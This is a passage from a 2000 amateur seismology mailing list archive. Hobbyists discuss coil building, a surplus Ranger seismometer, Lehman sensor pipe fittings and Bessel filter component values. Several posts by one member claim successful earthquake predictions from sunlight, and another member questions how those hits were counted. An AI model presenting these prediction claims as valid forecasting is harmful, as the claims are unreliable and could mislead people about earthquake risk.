the magnet gap of even a small (4") speaker magnet. The extension probes are slightly magnetic but manageable. Knowing the OD, I can create the form by wrapping layers of 1 mil aluminum tape around a wood dowel, or you could use a lathe to make the form, or find the size of anything cylindrical at the store. Plan B: I wrapped some thin (2 mil) brass foil sheet (ACE hdwe) around a pencil to make a tight coiled cylindrical spring. Then I gently expanded it as I slid it around the magnet pole, and once it seemed square and smooth fitting, taped the overlap ends. Later I soldered both the inside and outside, and added another few layers to build up to the clearance I wanted of about 0.032" (1/32"). I presume that liquid nail polish works OK for distinguishing the layers as a coil is wound as long as it stays thin. I used the correcting tape because it was handy, since I found that it is easier to remove from the computer screen than white-out. Regards, Sean-Thomas __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: seis on ebay From: mariotti mauro mariottim@...... Date: Fri, 08 Sep 2000 20:48:44 +0200 Excuse me gang...! What's Ebay? It's a web site where find seismometers or others interesting things??? Mauro Mariotti At 10.57 06/09/2000 -0700, you wrote: >The Ranger Seismometer is a seismometer. If memory serves, the natural >frequency is about 1 Hz, but it might have been adjustable over a small >range. It can be used as either a vertical or horizontal seismometer. >The big knob is used to adjust the support spring to center the mass in >either position, and the feet are designed to support it in either >position. The little window is used to see when the mass is centered. >The mass can be clamped for easy transit. As I recall, it has a >calibration coil. > >It was named after the original "Ranger" moon study program, which >carried three of these in an orthogonal configuration (less the aluminum >case) to the surface of the moon for seismic studies. Once landed on the >moon, little motors centered the units. > >Assuming it still works, this unit would be an excellent, short-period >seismometer for your seismic station. > >Doug > >BOB BARNS wrote: >> >> Hi, >> Ebay # 430096282 (ends 9/12) is a "Kinemetrics Ranger Seismometer". >> It looks interesting but I don't know what it is. >> Perhaps someone in the group can post some info about it. >> Bob Barns >> >__________________________________________________________ > >Public Seismic Network Mailing List (PSN-L) > >To leave this list email PSN-L-REQUEST@.............. with >the body of the message (first line only): unsubscribe >See http://www.seismicnet.com/maillist.html for more information. > __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: seis on ebay From: Doug Crice dcrice@............ Date: Fri, 08 Sep 2000 11:52:46 -0700 ebay is an internet business with an on-line auction of many different items. Usually over 2,000,000 items are for sale at any one time, so occasionally seismometers and geophones will become available. The web site is http://www.ebay.com/ where you can read all about it. It's a good place to buy and sell electronic test equipment for your laboratory. mariotti mauro wrote: > > Excuse me gang...! > > What's Ebay? > It's a web site where find seismometers or others interesting things??? > > Mauro Mariotti > > At 10.57 06/09/2000 -0700, you wrote: > >The Ranger Seismometer is a seismometer. If memory serves, the natural > >frequency is about 1 Hz, but it might have been adjustable over a small > >range. It can be used as either a vertical or horizontal seismometer. > >The big knob is used to adjust the support spring to center the mass in > >either position, and the feet are designed to support it in either > >position. The little window is used to see when the mass is centered. > >The mass can be clamped for easy transit. As I recall, it has a > >calibration coil. > > > >It was named after the original "Ranger" moon study program, which > >carried three of these in an orthogonal configuration (less the aluminum > >case) to the surface of the moon for seismic studies. Once landed on the > >moon, little motors centered the units. > > > >Assuming it still works, this unit would be an excellent, short-period > >seismometer for your seismic station. > > > >Doug > > > >BOB BARNS wrote: > >> > >> Hi, > >> Ebay # 430096282 (ends 9/12) is a "Kinemetrics Ranger Seismometer". > >> It looks interesting but I don't know what it is. > >> Perhaps someone in the group can post some info about it. > >> Bob Barns > >> > >__________________________________________________________ > > > >Public Seismic Network Mailing List (PSN-L) > > > >To leave this list email PSN-L-REQUEST@.............. with > >the body of the message (first line only): unsubscribe > >See http://www.seismicnet.com/maillist.html for more information. > > > > __________________________________________________________ > > Public Seismic Network Mailing List (PSN-L) > > To leave this list email PSN-L-REQUEST@.............. with > the body of the message (first line only): unsubscribe > See http://www.seismicnet.com/maillist.html for more information. -- Doug Crice http://www.georadar.com 19623 Via Escuela Drive phone 408-867-3792 Saratoga, California 95070 USA fax 408-867-4900 __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: seis on ebay From: BOB BARNS roybar@........ Date: Fri, 08 Sep 2000 20:11:27 -0400 Mauro, Just go to www.ebay.com It is an online auction of almost everything you can think of. At any one time, there is about 4,000,000 items for sale! You can either buy or sell things. It is a great way to turn dust-catchers into cash. The fees charged for selling an item are quite small. Bob Barns mariotti mauro wrote: > > Excuse me gang...! > > What's Ebay? > It's a web site where find seismometers or others interesting things??? > > Mauro Mariotti > > At 10.57 06/09/2000 -0700, you wrote: > >The Ranger Seismometer is a seismometer. If memory serves, the natural > >frequency is about 1 Hz, but it might have been adjustable over a small > >range. It can be used as either a vertical or horizontal seismometer. > >The big knob is used to adjust the support spring to center the mass in > >either position, and the feet are designed to support it in either > >position. The little window is used to see when the mass is centered. > >The mass can be clamped for easy transit. As I recall, it has a > >calibration coil. > > > >It was named after the original "Ranger" moon study program, which > >carried three of these in an orthogonal configuration (less the aluminum > >case) to the surface of the moon for seismic studies. Once landed on the > >moon, little motors centered the units. > > > >Assuming it still works, this unit would be an excellent, short-period > >seismometer for your seismic station. > > > >Doug > > > >BOB BARNS wrote: > >> > >> Hi, > >> Ebay # 430096282 (ends 9/12) is a "Kinemetrics Ranger Seismometer". > >> It looks interesting but I don't know what it is. > >> Perhaps someone in the group can post some info about it. > >> Bob Barns > >> > >__________________________________________________________ > > > >Public Seismic Network Mailing List (PSN-L) > > > >To leave this list email PSN-L-REQUEST@.............. with > >the body of the message (first line only): unsubscribe > >See http://www.seismicnet.com/maillist.html for more information. > > > > __________________________________________________________ > > Public Seismic Network Mailing List (PSN-L) > > To leave this list email PSN-L-REQUEST@.............. with > the body of the message (first line only): unsubscribe > See http://www.seismicnet.com/maillist.html for more information. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: seis on ebay From: mariotti mauro mariottim@...... Date: Sat, 09 Sep 2000 08:25:15 +0200 Yes! Just spidered! It's interesting! Thanks you. Mauro At 20.11 08/09/2000 -0400, you wrote: >Mauro, > Just go to www.ebay.com >It is an online auction of almost everything you can think of. At any >one time, there is about 4,000,000 items for sale! >You can either buy or sell things. It is a great way to turn >dust-catchers into cash. The fees charged for selling an item are quite >small. >Bob Barns > > >mariotti mauro wrote: >> >> Excuse me gang...! >> >> What's Ebay? >> It's a web site where find seismometers or others interesting things??? >> >> Mauro Mariotti >> >> At 10.57 06/09/2000 -0700, you wrote: >> >The Ranger Seismometer is a seismometer. If memory serves, the natural >> >frequency is about 1 Hz, but it might have been adjustable over a small >> >range. It can be used as either a vertical or horizontal seismometer. >> >The big knob is used to adjust the support spring to center the mass in >> >either position, and the feet are designed to support it in either >> >position. The little window is used to see when the mass is centered. >> >The mass can be clamped for easy transit. As I recall, it has a >> >calibration coil. >> > >> >It was named after the original "Ranger" moon study program, which >> >carried three of these in an orthogonal configuration (less the aluminum >> >case) to the surface of the moon for seismic studies. Once landed on the >> >moon, little motors centered the units. >> > >> >Assuming it still works, this unit would be an excellent, short-period >> >seismometer for your seismic station. >> > >> >Doug >> > >> >BOB BARNS wrote: >> >> >> >> Hi, >> >> Ebay # 430096282 (ends 9/12) is a "Kinemetrics Ranger Seismometer". >> >> It looks interesting but I don't know what it is. >> >> Perhaps someone in the group can post some info about it. >> >> Bob Barns >> >> >> >__________________________________________________________ >> > >> >Public Seismic Network Mailing List (PSN-L) >> > >> >To leave this list email PSN-L-REQUEST@.............. with >> >the body of the message (first line only): unsubscribe >> >See http://www.seismicnet.com/maillist.html for more information. >> > >> >> __________________________________________________________ >> >> Public Seismic Network Mailing List (PSN-L) >> >> To leave this list email PSN-L-REQUEST@.............. with >> the body of the message (first line only): unsubscribe >> See http://www.seismicnet.com/maillist.html for more information. >__________________________________________________________ > >Public Seismic Network Mailing List (PSN-L) > >To leave this list email PSN-L-REQUEST@.............. with >the body of the message (first line only): unsubscribe >See http://www.seismicnet.com/maillist.html for more information. > __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Lehman pipe fittings? From: "David Saum" DSaum@............ Date: Sat, 9 Sep 2000 14:19:16 -0400 I had trouble putting together the pipe fittings listed on the "Homebuilt Seismograph - FAQ" on Larry Cochrane's site:=20 >Following instructions in the article a very sensitive horizontal >sensor can be made for under $50.00 from parts available from the >local hardware store. The parts list should be 3/4" pipe fittings >and include: > 2 flanges for bolting the assembly to a base. > 2 3/4" T fittings > 2 3/4" 90 degree elbows > 1 3/4" union > 4 3/4" nipples 2" long > 2 3/4" nipples 6" long ___ > 1 3/4" nipple 5" long=20 I got my parts from my local Home Depot but when I screwed them together the upper 5" nipple was 1/2" too short. I need a 5 1/2" nipple there. I could not find a 5 1/2", so I ended up with a 4 1/2" nipple on top and=20 two 1 1/2" nipples below on the horizontal=20 sections. Am I doing something stupid or perhaps there is a variation in length between 3/4" unions made by different manufacturers? My union is 2.1" long. Dave =20 __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Lehman pipe fittings? From: john c cole johnccole@........ Date: Sat, 9 Sep 2000 16:33:16 -0500 Dave I have built 12 or 14 of the Leaman type detectors using pipe fittings. My personal experience indicates that 1/2" pipe fittings are big enough. Mine are very simple . The fittings consist of two 1/2" flange fittings to bolt to the base . Two 1/2' l fittings ,one 4"nipple and two pieces of pipe threaded on both ends 14 " or 16" long. Keep it simple. Be sure to thread the pipe into the connectors the same depth. Build the assembly up before bolting to the base. If one side is longer than the other, back out or tighten to make the sides even. Yes, yes , yes , some pipe fittings are different ,Some pipe will go deeper into the fittings than the others. As long as it is rigid and the right height, it is ok. Be innovative. Good luck. John c cole ________________________________________________________________ YOU'RE PAYING TOO MUCH FOR THE INTERNET! Juno now offers FREE Internet Access! Try it today - there's no risk! For your FREE software, visit: http://dl.www.juno.com/get/tagj. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Lehman pipe fittings? From: SW6079@....... Date: Sat, 9 Sep 2000 21:03:19 EDT Just thought I'd add a note here. I've also built a few Lehman assy's When I needed to loosen one side or another of the vertical pipe risers I was troubled by some looseness. I fixed this by carefully cleaning the threads in the flange and pipe, then used conventional plumbing flux and solder to solder them firmly in place. Make sure it's right before doing this!! Pehaps an epoxy compound would work as well. It worked great. Indeed I also found that 1/2 inch pipe is adequate. Good Luck, Mike __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: PREAMP-FILTER MODIFICATION From: RADIOTEL@....... Date: Mon, 11 Sep 2000 01:52:37 EDT There is a preamp and 4th order 1.0 Hz, low pass filter schematic by A.S. Loomis at http://www.info2000.net/~aloomis/seisfilt.htm. Has anyone had experience with this circuit? Is it possible to change it from a 1.0 Hz low pass filter to a 10 Hz low pass filter? If so, what component values should be changed to accomplish this? I assume it is a good design. Any assistance would be very much appreciated. Jim Allen __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: RE: Preamp-Filter Modification From: jmhannon@........ Date: Mon, 11 Sep 2000 08:26:13 -0500 (CDT) I did a little reverse engineering on the A Loomis filter. It is a 4 pole Butterworth filter with a 3dB cut off of 1.59 Hz. You can easily change it to a 15.9 Hz 3dB cut off by changing the 4 1MEG resistors to 100K. Any other frequency can be chosen by appropriate scaling of the 4 resistor values. You might also want to look at Larry's 10 Hz filter at http://psn.quake.net/eqampd.gif Jim Hannon http://soli.inav.net/~jmhannon/ 42,11.90N,91,39.26W WB0TXL __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: QUAKE RESULTS From: "R.SHANMUGASUNDARAM" vu2rss@....... Date: Mon, 4 Sep 2000 20:18:19 +0530 EARTHQUAKE RESULTS DT.11TH SEPT.2000: The Results of my prediction report dt.5th Sept.2000: After 140 hours of my prediction,at 5.29 AM this (ie.11th Sept.) morning quake was rocked in KOYNA,MAHARASTRA REGION=20 with a magnitude of 3.8 in Richter Scale. Please note the delay=20 and lessor intensity due to inclined earth movement after 6th Sept.=20 But as predicted by me, in Region 2, TURKEY was rocked by an=20 earthquake on 8th Sept.2000 of 4.7 in RS ie. after 73 hours=20 after my preidciton. The Results of my prediction report dt.4th Sept.2000: 9 Quakes were occured with in the period I mentioned (4 to 8th Sept) in SOLOMON ISLAND(4.6),SANTACRUZ ISLAND(4.9),MINAHASSA PENINSULA,SULAWESI(4.7), MARINA ISLANDS(4.6), NORTH MOLUCCO SEA(5.1), KURIL ISLAND(4.5), SERAM,INDONESIA(4.6),IRIYAN JAYA(4.9) AND NORTH KOREA(4.9), . Remarks:=20 In Region 1, the magnitude of quakes was less than what I predicted this = time.=20 Region 2 escaped from quakes or may occured with less intensity. Comments/suggestions are welcome. R.SHANMUGASUNDRAM 11th Sept.2000 mailto:vu2rss@.......
EARTHQUAKE RESULTS DT.11TH=20 SEPT.2000:
 
The Results of my prediction report = dt.5th=20 Sept.2000:
 
After 140 hours of my prediction,at 5.29 AM this (ie.11th = Sept.)
morning quake was rocked in KOYNA,MAHARASTRA=20 REGION
with a magnitude of 3.8 in Richter Scale. Please note the = delay
and lessor intensity due to inclined earth movement after 6th Sept. =
 
 
But as predicted by me, in Region 2, TURKEY was rocked by an
earthquake on 8th Sept.2000 of 4.7 in RS ie. after 73 hours =
after my preidciton.
 
 
The Results of my prediction report dt.4th = Sept.2000:
 
9 Quakes were occured with in the = period I=20 mentioned (4 to 8th Sept)
in SOLOMON=20 ISLAND(4.6),SANTACRUZ = ISLAND(4.9),MINAHASSA
PENINSULA,SULAWESI(4.7),=20 MARINA ISLANDS(4.6), NORTH=20 MOLUCCO
SEA(5.1), = KURIL ISLAND(4.5), SERAM,INDONESIA(4.6),IRIYAN = JAYA(4.9)
AND NORTH = KOREA(4.9),=20 ..
 
Remarks:
In Region 1, the magnitude of quakes = was less than=20 what I predicted this time. =
Region 2 escaped from quakes or = may occured with less intensity.
 
Comments/suggestions are = welcome.
 
 
R.SHANMUGASUNDRAM
11th Sept.2000
mailto:vu2rss@.......
 
Subject: R: QUAKE RESULTS From: "Giovanni Rotta" rottag@.......... Date: Mon, 11 Sep 2000 19:54:24 +0200 When and where the next ? Best regards ! Giovanni ----- Original Message -----=20 From: R.SHANMUGASUNDARAM=20 To: WILL FLETCHER ; TURNING POINT ; Solomon Islands ; Shoji Sekiguchi = ; Shin Aoi ; SHASIKANTH ; Sadaki Hori ; RTW ; Ralph M. Eiseman ; Prof. = Philip A. Allen ; Papua New Guinea ; Narender K. Sehgal ; Myanmar ; Mrs = Joann Layng ; Mizuho Ishida ; MAX ; KUMARAVEL ; KING ; KANNAN ; Japan ; = Jan Alvestad ; JAMES BERKLAND ; Italy ; Ian Monta=F1o (EQpdr) ; Hiroyuki = Kawai ; Hiroshi Murakami ; Hiroshi Inoue ; Guinea ; Guinea ; GRISH ; = GARCIA ; Eiichi Fukuyama ; DR.C.THANASSOULAS ; DISCOVERY ; AVILA ; = ASKGEOLOGIST ; Akis Tselentis ; Turkey ; Thailand ; Tajikistan ; = Singapore ; Russian Federation ; Red Cross ; Philippines ; Pakistan ; = Nepal ; Mali ; Iran ; Indonesia ; India ; Guinea-Bissau ; Greece ; = Georgia ; Egypt ; China ; Bhutan ; Bangladesh ; Azerbaijan ; Australia ; = Armenia ; Afghanistan ; OUTLOOK ; DINAMALAR ; DHINATHANTHI ; ARUL ; = MAHARASTRA ; PSN NET=20 Sent: Monday, September 04, 2000 4:48 PM Subject: QUAKE RESULTS EARTHQUAKE RESULTS DT.11TH SEPT.2000: The Results of my prediction report dt.5th Sept.2000: After 140 hours of my prediction,at 5.29 AM this (ie.11th Sept.) morning quake was rocked in KOYNA,MAHARASTRA REGION=20 with a magnitude of 3.8 in Richter Scale. Please note the delay=20 and lessor intensity due to inclined earth movement after 6th Sept.=20 But as predicted by me, in Region 2, TURKEY was rocked by an=20 earthquake on 8th Sept.2000 of 4.7 in RS ie. after 73 hours=20 after my preidciton. The Results of my prediction report dt.4th Sept.2000: 9 Quakes were occured with in the period I mentioned (4 to 8th Sept) in SOLOMON ISLAND(4.6),SANTACRUZ ISLAND(4.9),MINAHASSA PENINSULA,SULAWESI(4.7), MARINA ISLANDS(4.6), NORTH MOLUCCO SEA(5.1), KURIL ISLAND(4.5), SERAM,INDONESIA(4.6),IRIYAN JAYA(4.9) AND NORTH KOREA(4.9), . Remarks:=20 In Region 1, the magnitude of quakes was less than what I predicted = this time.=20 Region 2 escaped from quakes or may occured with less intensity. Comments/suggestions are welcome. R.SHANMUGASUNDRAM 11th Sept.2000 mailto:vu2rss@.......
When and where the next ?
Best regards !
Giovanni
----- Original Message -----
From:=20 R.SHANMUGASUNDARAM=20
To: WILL=20 FLETCHER ; TURNING POINT ; Solomon=20 Islands ; Shoji Sekiguchi ; Shin = Aoi ; SHASIKANTH ;=20 Sadaki=20 Hori ; RTW ;=20 Ralph M.=20 Eiseman ; Prof.=20 Philip A. Allen ; Papua New=20 Guinea ; Narender K. Sehgal ; Myanmar ; Mrs Joann = Layng ; Mizuho=20 Ishida ; MAX ; KUMARAVEL ; KING = ; KANNAN ; Japan ; Jan = Alvestad ;=20 JAMES = BERKLAND=20 ; Italy ; Ian = Monta=F1o=20 (EQpdr) ; Hiroyuki Kawai ; Hiroshi=20 Murakami ; Hiroshi Inoue ; Guinea ; Guinea ; GRISH ; GARCIA ; Eiichi=20 Fukuyama ; DR.C.THANASSOULAS ; DISCOVERY ; AVILA ;=20 ASKGEOLOGIST ; Akis = Tselentis=20 ; Turkey ; = Thailand ; = Tajikistan ; Singapore ; Russian = Federation ; Red Cross = ; Philippines ; Pakistan ; = Nepal ; Mali ; Iran ; Indonesia ; India ; Guinea-Bissau ; Greece ; Georgia ; Egypt ; China ; Bhutan ; Bangladesh ; Azerbaijan ; Australia ; Armenia ; Afghanistan ; OUTLOOK ; DINAMALAR ; DHINATHANTHI ; ARUL ; MAHARASTRA ; PSN = NET=20
Sent: Monday, September 04, = 2000 4:48=20 PM
Subject: QUAKE RESULTS

EARTHQUAKE RESULTS DT.11TH=20 SEPT.2000:
 
The Results of my prediction = report dt.5th=20 Sept.2000:
 
After 140 hours of my prediction,at 5.29 AM this (ie.11th = Sept.)
morning quake was rocked in KOYNA,MAHARASTRA=20 REGION
with a magnitude of 3.8 in Richter Scale. Please note the = delay=20
and lessor intensity due to inclined earth movement after 6th = Sept.=20
 
 
But as predicted by me, in Region 2, TURKEY was rocked by an
earthquake on 8th Sept.2000 of 4.7 in RS ie. after 73 hours =
after my preidciton.
 
 
The Results of my prediction report dt.4th = Sept.2000:
 
9 Quakes were occured with in the = period I=20 mentioned (4 to 8th Sept)
in SOLOMON=20 ISLAND(4.6),SANTACRUZ = ISLAND(4.9),MINAHASSA
PENINSULA,SULAWESI(4.7), MARINA=20 ISLANDS(4.6), NORTH = MOLUCCO
SEA(5.1), KURIL ISLAND(4.5), SERAM,INDONESIA(4.6),IRIYAN=20 JAYA(4.9)
AND NORTH = KOREA(4.9),=20 .
 
Remarks:
In Region 1, the magnitude of quakes = was less=20 than what I predicted this time. =
Region 2 escaped from quakes or = may occured with less intensity.
 
Comments/suggestions are = welcome.
 
 
R.SHANMUGASUNDRAM
11th Sept.2000
mailto:vu2rss@.......
 
Subject: Re: R: QUAKE RESULTS From: sean@........... Date: Mon, 11 Sep 2000 13:18:37 -0500 (CDT) I fingered QUAKE at NEIS and they list 16 events from 1800z Sep. 5 thru Sep. 8. The "prediction" claims 9 events from Sep. 4 thru 8. What about the rest? Sean-Thomas __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: filter designs From: sean@........... Date: Mon, 11 Sep 2000 13:24:35 -0500 (CDT) Jim and co., Seismic filters have always been of the "Bessel" response because of the uniform time delay, and timing is the most important feature in seismology. The "Butterworth" response is flatter, with a sharper cut off, but this is not necessary for dealing with environmental noise as with seismometers. The amplitude overshoot of a four pole Butterworth filter to an impulsive input is 11% near the cut off frequency, which is also undesirable in seismology. Bessel filters do not have an overshoot response. For some time I have posted the schematic of the seismic preamp and 4-pole filter that has been used in over 100 telemetry stations from Alaska to Greece. The filter design is from the NASA filter handbook (info below). The schematic shows options for frequency scaling, as for a 2.7 second "Wood Anderson Seismometer" response that works well in an urban setting (the vault on SLU campus) with a 15-second long period seis as input. THe preamp/filter can easily assembled on a Vector 3677 perforated/solder pads circuit board cut in half lengthwise. The cmos 4250 amplifiers can be replaced with more available higher power devices if battery operation is not needed. http://www.eas.slu.edu/People/STMorrissey/index.html stmmisc.html" PSN INFO ... SLU Seismic Network (repeat from previous post:) Among the references I use, two give very workable designs and tables for multi-pole filters. The NASA publication, "An RC Active Filter Design Handbook", NASA SP-5104, 1977, gives standard designs for up to 8 poles, and uses a constant resistance algorithm for unity gain 1 khz filters that unfortunately results in very uncommon capacitor values. The designs are impedance and frequency scaled by multiplying/ dividing the R and C values. I have found that the odd capacitor values can usually be made up with two common values. The unity gain design is stable and simplifies inclusion in precision amplifier designs. The other reference is the Sams publication "Active-Filter Cookbook" by Don Lancster; Howard W. Sams & co, 1975, Indianapolis; ISBN 0-672-21168-8; Library of Congress 74-33839. He uses an algorithm that gives equal values for all the capacitors, with the frequency and damping changed by the filter and feedback resistors. The designs are also scaleable from 1 khz. Since the damping of each stage is controlled by the feedback resistance, this results in gain variability depending on the response selected and number of poles. There are excellent tables for filters of 7 different characteristics and up through sixth order (or poles) with all the resistance values, gains, and component tolerances calculated and graphs for frequency scaling the capacitor values. I prefer the NASA filters because they are all unity gain and often use a constant resistance for all the stages, which helps quantity buying of 1% values. The capacitor values are usually made up with a larger value, like 0.47, which can be purchased in quantity, and smaller parallel values, which cost much less and can be selected for value with a meter. Regards, Sean-Thomas __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Fwd: Seismic Station - Please advice me From: RLLaney@....... Date: Mon, 11 Sep 2000 14:35:11 EDT Hello all: I got the attached message from the writer in India. Thought some in the group might be better able to advise her. I will ask her to tune on the psn list. Bob Laney Herndon, VA Dear sir,=20 I am a 19 year old First Year Science student (F.Y.B.Sc) from Pune=20= (Maharashtra), India. I am fascinated by earthquakes, and have been since 19= 88. My interest in them grew even more great when western India was shaken b= y magnitude 5+ events since 1993 many of which I felt. Sir, I have tried to=20= set up a website (ASC - Amateur Seismic Centre) specifically for seismic act= ivity in India and South Asia. I have seen the PSN and USGS websites and hav= e tried to build mine on similar lines. I usually report events with info t= aken from the IMD or the USGS. I would like to actually record seismic activ= ity and report that. How should I go about this? What kind of equipment woul= d I need? I've seen the stuff on the PSN sites and it all seems really very=20= complicated. A lot of things mentioned there are not really available to the= public very easily over here in India. I have a bit of knowledge about elec= tronics if required to actually construct an instrument in the presence of a= circuit diagram. And I know a bit about reading seismograms. I would really= appreciate it if you could help me out here. : ) Thanking you, Your sincerely, Stacey S. Martin
Dear sir,
       &= nbsp; I=20 am a 19 year old First Year Science student (F.Y.B.Sc) from Pune (Maharashtr= a),=20 India. I am fascinated by earthquakes, and have been since 1988. My interest= in=20 them grew even more great when western India was shaken by magnitude 5+ even= ts=20 since 1993 many of which I felt. Sir, I have tried to set up a website (ASC - Amateur Seismic Centr= e)=20 specifically for seismic activity in India and South Asia. I have seen the P= SN=20 and USGS websites and have tried to build mine on similar lines.  I usu= ally=20 report events with info taken from the IMD or the USGS. I would like to actu= ally=20 record seismic activity and report that. How should I go about this? What ki= nd=20 of equipment would I need? I've seen the stuff on the PSN sites and it all s= eems=20 really very complicated. A lot of things mentioned there are not really=20 available to the public very easily over here in India. I have a bit of=20 knowledge about electronics if required to actually construct an instrument=20= in=20 the presence of a circuit diagram. And I know a bit about reading seismogram= s. I=20 would really appreciate it if you could help me out here. : )
Thanking you,
Your sincerely,
Stacey S.=20 Martin
Subject: Re: PREAMP-FILTER MODIFICATION From: Karl Cunningham karlc@....... Date: Mon, 11 Sep 2000 14:59:26 -0700 Hi Jim -- I agree with Sean-Thomas regarding the use of Bessel filters. Other kinds of filters will distort the waveforms. I don't think the filter shown in the schematic you referenced is even a Butterworth. I entered the component values into a simulation program and found it has an 8:1 peak near its cutoff frequency. That's not good for seismic work. Regards, Karl At 01:52 AM 9/11/2000 EDT, you wrote: >There is a preamp and 4th order 1.0 Hz, low pass filter schematic by A.S. >Loomis at http://www.info2000.net/~aloomis/seisfilt.htm. Has anyone had >experience with this circuit? Is it possible to change it from a 1.0 Hz low >pass filter to a 10 Hz low pass filter? If so, what component values should >be changed to accomplish this? I assume it is a good design. >Any assistance would be very much appreciated. >Jim Allen __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: PREAMP-FILTER MODIFICATION From: Jim Hannon jmhannon@........ Date: Mon, 11 Sep 2000 17:57:22 -0500 Karl, I am quite sure it is a Butterworth. The characteristics of a Butterworth are, all the resonators are tuned to the same frequency and the gains of the individual stages match the Butterworth tables I have. BTW It is easy enough to convert the filter to Bessel by changing the R and C values. If anyone is interested I will calculate the values and post them. The design is a little suspest in that it was advertized as a 1 Hz filter but the components are for a 1.59 Hz. I think the designer forgot to convert from radians to Hz. At 02:59 PM 9/11/00 -0700, you wrote: >Hi Jim -- > >I agree with Sean-Thomas regarding the use of Bessel filters. Other kinds >of filters will distort the waveforms. > >I don't think the filter shown in the schematic you referenced is even a >Butterworth. I entered the component values into a simulation program and >found it has an 8:1 peak near its cutoff frequency. That's not good for >seismic work. > >Regards, >Karl > Jim Hannon http://soli.inav.net/~jmhannon/ 42,11.90N,91,39.26W WB0TXL __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Loomis pcboard artwork From: Sherm Fry shermfry@............. Date: Mon, 11 Sep 2000 18:03:50 -0500 Anyone have pcboard art work for the A.S. Loomis filter to share. I hate to reinvent the wheel. Thanks for any help. Sherm Fry __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: PREAMP-FILTER MODIFICATION From: RADIOTEL@....... Date: Mon, 11 Sep 2000 23:40:02 EDT Jim Hannon I certainly would be interested in how to convert the A.S. Loomis filter to a Bessel filter and what values to use for seismic work in an area with a lot of local acitivity as well as teleseismic events. It appears that there are a few others that would be most greatful for your efforts also. Thanks Jim Allen __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: QUAKE ALERT.. From: "R.SHANMUGASUNDARAM" vu2rss@....... Date: Tue, 5 Sep 2000 10:56:58 +0530 GREECE, TURKEY, ITALY will experience a quake of 5.0+M SOUTH INDIA will experience 3.0+M quake within 24 to 130 hours(max) from 10 am IST from now. R.SHANMUGASUNDARAM mailto:vu2rss@.......... 10.15 am 12th Sept.2000
GREECE, TURKEY, = ITALY=20 will experience a quake of 5.0+M
 
SOUTH = INDIA=20 will experience 3.0+M quake
 
within 24 to 130 hours(max) from 10 am = IST from=20 now.
 
R.SHANMUGASUNDARAM
mailto:vu2rss@....... 
10.15 am 12th = Sept.2000
Subject: R: QUAKE ALERT.. From: "Francesco" franuc@...... Date: Tue, 12 Sep 2000 09:19:42 +0200 Thanks......for the Italy...... Where and when....? Hour, coordinates? depth? Francesco - Italy. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Preamp-Filter Modifications From: jmhannon@........ Date: Tue, 12 Sep 2000 09:42:36 -0500 (CDT) Converting the A Loomis low pass filter http://www.info2000.net/~aloomis/seisfilt.htm to a Bessel response. For a 1 Hz Bessel response change the 20K resistor connected to the negative input of the first filter op amp to 11.0K. Change the 160K resistor connected to the negative input of the second filter op amp to 100K. The first two 0.1 UF capacitors associated with the first filter op amp should be changed to 0.111UF. The second two 0.1 UF capacitors associated with the second filter op amp should be changed to 0.0991 UF. You will need to measure and test select the capacitors and possibly parallel parts to get within at least 5% of the values specified. All resistors in the circuit should be 1% metal film parts. The 1 Hz design is easily changed to any other frequency within reason by dividing the value of the 4 1 Meg Ohm resistors by the desired frequency. For example if you want a 5 Hz low pass filter you would use 200K resistors instead of 1 Meg. Jim Hannon http://soli.inav.net/~jmhannon/ 42,11.90N,91,39.26W WB0TXL __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Quake Querry From: "R.SHANMUGASUNDARAM" vu2rss@....... Date: Tue, 5 Sep 2000 20:34:51 +0530 Dear Thomas, This is a new method of earthquake prediction using sunlight and I predicted at available times against sun light at my place, ie in India. So if this method is globolised using similar net work, we will predict all quakes in advance. Please watch PSN NET and inform ur friends too. R.SHANMUGASUNDRAM mailto:vu2rss@....... (HAM RADIO VU2RSS)
Dear Thomas,
 
This is a new method of earthquake=20 prediction
using sunlight and I predicted at = available=20 times
against sun light at my place, ie  = in=20 India.
 
So if this method is globolised using=20 similar
net work, we will predict all quakes in = advance.
 
Please watch PSN NET and inform ur = friends=20 too.
 
R.SHANMUGASUNDRAM
mailto:vu2rss@.......
(HAM RADIO = VU2RSS)
Subject: QUAKES From: "R.SHANMUGASUNDARAM" vu2rss@....... Date: Tue, 5 Sep 2000 20:32:55 +0530 Dear Giovanni Rotta, Thanks for your interest. =20 Earthquake is a regular feature and happening daily. But I predicted some of them with the help sun light,=20 a new concept. Please watch PSN NET and inform ur friends too. R.SHANMUGASUNDRAM mailto:vu2rss@....... (HAM RADIO VU2RSS)
Dear Giovanni Rotta,
 
Thanks for your interest.
 
Earthquake is a regular feature and = happening=20 daily.
But I predicted some of them with the = help=20 sun light,=20
a new=20 concept.
 
Please = watch PSN NET and=20 inform ur friends too.
 
R.SHANMUGASUNDRAM
mailto:vu2rss@.......
(HAM RADIO = VU2RSS)
 
 
